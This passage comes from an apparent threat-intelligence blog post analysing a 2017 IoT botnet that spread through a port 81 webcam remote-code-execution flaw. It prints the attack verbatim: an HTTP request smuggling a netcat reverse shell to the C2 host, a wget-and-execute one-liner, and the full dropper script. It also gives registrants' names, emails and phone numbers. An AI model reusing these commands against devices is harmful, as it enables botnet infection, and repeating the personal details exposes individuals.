2017-04-22, the number of unique scan source had passed over `57,000`，which is a fairly big number.\n![](__GHOST_URL__/content/images/2017/04/02_detailed_volume_compare.png)\nFigure 2 detailed volume compare\n\n\n###From scan to sample\n\n######Payload\nAfter noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.\n\n cd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh\n 428111c22627e1d4ee87705251704422  mirai.arm\n 9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n\n 5ebeff1f005804bb8afef91095aac1d9  mirai.arm7\n b2b129d84723d0ba2f803a546c8b19ae  mirai.mips\n 2f6e964b3f63b13831314c28185bb51a  mirai.mpsl\n\nThe file information for the samples is as follows:\n\n * mirai.arm:   ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped\n * mirai.arm5n: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped\n * mirai.arm7:  ELF 32-bit LSB  executable, ARM, EABI4 version 1 (SYSV), statically  linked, stripped\n\n * mirai.mips:  ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically  linked, stripped\n * mirai.mpsl:  ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped\n * wificam.sh:  ASCII text\n\n\n######The delivery of the payload\n\nThe payload is delivered after a successful port 81 scan and verification process.\n\n1. The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to `load.gtpnet.ir:1234`\n2. Victim downloads and executes the script hxxp: //ntp.gtpnet.ir/wificam.sh, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir\n3. These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.\n\nThe codes are as follow\n\n1. The injections\n<div>\n<pre>\nGET login.cgi HTTP/1.1\n</pre>\n<pre>\nGET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1\n</pre>\n<pre>\nGET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1\n</pre>\n</div>\n\nThis payload is contained in the `sef_ftp.cgi` URI,  which decodes to\n\n  `nc load.gtpnet.ir 1234 -e bin/sh`\n\nThe victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh\n\n2.  wificam.sh downloaded to victim\n<div>\n<pre>\n$ nc load.gtpnet.ir 1234`\n</pre>\n<pre>\nbusybox nohup sh -c \"wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh\" > /dev/null 2>&1 &`\n</pre>\n</div>\n\n wificam.sh instructs to further download more new sample files\n\n`$ cat wificam.sh`\n\n<div>\n<pre>\nwget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin\nwget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin\nwget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin\nwget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin\nwget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin\n</pre>\n<pre>\nchmod +x /tmp/arm.bin\nchmod +x /tmp/arm5.bin\nchmod +x /tmp/arm7.bin\nchmod +x /tmp/mips.bin\nchmod +x /tmp/mpsl.bin\n</pre>\n<pre>\nkillall *.bin\nkillall arm\nkillall arm5\nkillall arm7\nkillall mips\nkillall mpsl\nkillall hal\n</pre>\n<pre>\n/tmp/arm.bin\n/tmp/arm5.bin\n/tmp/arm7.bin\n/tmp/mips.bin\n/tmp/mpsl.bin\nrm -rf /tmp/*.bin\n</pre>\n</div>\n\n######Data points\n\nOur different monitoring systems all successfully picked up this activity\n\n![](__GHOST_URL__/content/images/2017/04/03_2016-04-16_030000_spike_from_scanmon_at_global_size.png)\nOur Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.\n\n![](__GHOST_URL__/content/images/2017/04/04_spike_from_dns_at_china_size.png)\nThe viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00\n\n![](__GHOST_URL__/content/images/2017/04/05_spike_from_honeypot_at_serveral_site.png)\nFrom our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).\n\n\n###Sample analysis\n\nReverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:\n\n1. Sample vs C2 communcations\n2. Sample vs a simple UDP DDoS attack\n3. Sample vs mirai\n4. Sample vs IoT \n\n#####Sample vs C2 communcations\n\n\nThe samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.\n\n#####Sample vs a simple UDP DDoS attack\n\nThe sample contains DDoS attack module. We **observed** the sample in the sandbox launched a DDoS attack against **185.63.190.95** around **2017-04-23 21:45:00**\n, it is worth noting that this attack was also detected by our **DDoSmon.net** platform\nhttps://ddosmon.net/explore/185.63.190.95\n\n![](__GHOST_URL__/content/images/2017/04/07_ddos_againt_185.63.190.95.png)\n\nFurther analysis of the UDP attack:\n\n* From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139\n* From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data\n\nIn addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.\n\n![](__GHOST_URL__/content/images/2017/04/20_simple_udp_53_ddos_from_sandbox_pcap.png)\n\nSimple UDP 53 DDoS with a SSDP1900 padding\n\n![](__GHOST_URL__/content/images/2017/04/20_simple_udp_123_ddos_from_sandbox_pcap.png)\n\nSimple UDP 123 DDoS with a SSDP1900 padding\n\n#####Sample vs mirai\nOverall, we think this is a new family, not a variant ot mirai family.\n\nThe difference between these samples and mirai includes:\n\n* Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit\n* C2 communication protocol: completely different from mirai\n* Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples\n\nThe sample also have something in common with mirai:\n\n  * Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature\n  * File name: the word mirai in file names\n  * Code reuse: partial mirai code borrowed\n\n\n![](__GHOST_URL__/content/images/2017/04/11_reuse_mirai_source_code.png)\n\n#####Sample vs IoT\n\nIoT devices are the target of this threat, although there are  1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.\n\nWe have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:\n\n<div>\n<pre>\ns3.vstarcam.com\ns2.eye4.cn\nntp.gtpnet.ir\napi.vanelife.com\nload.gtpnet.ir\nntp2.eye4.cn\npush.eye4.cn\npush.eyecloud.so\nntp.eye4.cn\nm2m.vanelife.com`\n</pre>\n</div>\n\nThese domains' website titles are as follows:\n![](__GHOST_URL__/content/images/2017/04/12_link_D2V_domains_to_IoT_keywords.png)\n\n\n\n###C2 historical changes backtracking\n\n\n#####Domain DNS History Record Analysis\n\nThe DNS historical records of the two domain is as follows\n\n![](__GHOST_URL__/content/images/2017/04/13_C2_DNS_history-1.png)\nAs we can see:\n\n  1. load.gtpnet.ir only uses one ip 185.45.192.168, while\n  2. ntp.gtpnet.ir IP changes a few times, and \n  3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox\n\nDomain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):\n\n  * We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former\n  * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.\n\n\n#####Domain Registration Analysis\n\nHere is the domain's registration information :\n\n<div>\n<pre>\ndomain:\t\tgtpnet.ir\nascii:\t\tgtpnet.ir\nremarks:\t(Domain Holder) javad fooladdadi\nremarks:\t(Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR\nholder-c:\tjf280-irnic\nadmin-c:\tjf280-irnic\ntech-c:\t\tmk3389-irnic\nnserver:\tetta.ns.cloudflare.com\nnserver:\tdom.ns.cloudflare.com\nlast-updated:\t2017-04-19\nexpire-date:\t<b>2018-04-06</b>\nsource:\t\tIRNIC # Filtered\n\nnic-hdl:\tjf280-irnic\nperson:\t\tjavad fooladdadi\norg:\t\tpersonal\ne-mail:\t\t<b>ademaiasantos@gmail.com</b>\naddress:\tImarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR\nphone:\t\t+989155408348\nfax-no:\t\t+989155408348\nsource:\t\tIRNIC # Filtered\n\nnic-hdl:\tmk3389-irnic\nperson:\t\tMorteza Khayati\ne-mail:\t\t<b>morteza.khayati1@gmail.com</b>\nsource:\t\tIRNIC # Filtered\n\n</pre>\n</div>\nThe domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup just for this botnet.\n\n\n### Botnet Size from DNS perspective \nUtil now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:\n![](__GHOST_URL__/content/images/2017/04/10_botnet_measurement_dns_china_perspective-1.png)\n\nDaily active scanner number in mainland China varies between 2,700 and 9,500, as follows:\n\n![](__GHOST_URL__/content/images/2017/04/06_daily_active_botnet_from_dns_perspective.png)\n\n\n\n###An observation about a Particular canner 212.232.46.46\nAmong all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.\n\n\n![](__GHOST_URL__/content/images/2017/04/14_a_special_scanner.png)\n\nWe are not sure why, but this might be something worthing looking. \n\n![](__GHOST_URL__/content/images/2017/04/14_the_special_scanner_history.png)\n\n### IoC\nSamples\n\n<div>\n<pre>\ncd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh\n428111c22627e1d4ee87705251704422  mirai.arm\n9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n\n5ebeff1f005804bb8afef91095aac1d9  mirai.arm7\nb2b129d84723d0ba2f803a546c8b19ae  mirai.mips\n2f6e964b3f63b13831314c28185bb51a  mirai.mpsl\n</pre>\n</div>\n\nC2 Servers\n\n<div>\n<pre>\nntp.gtpnet.ir\nload.gtpnet.ir\n</pre>\n</div>"}]],"sections":[[10,0]],"ghostVersion":"3.0"}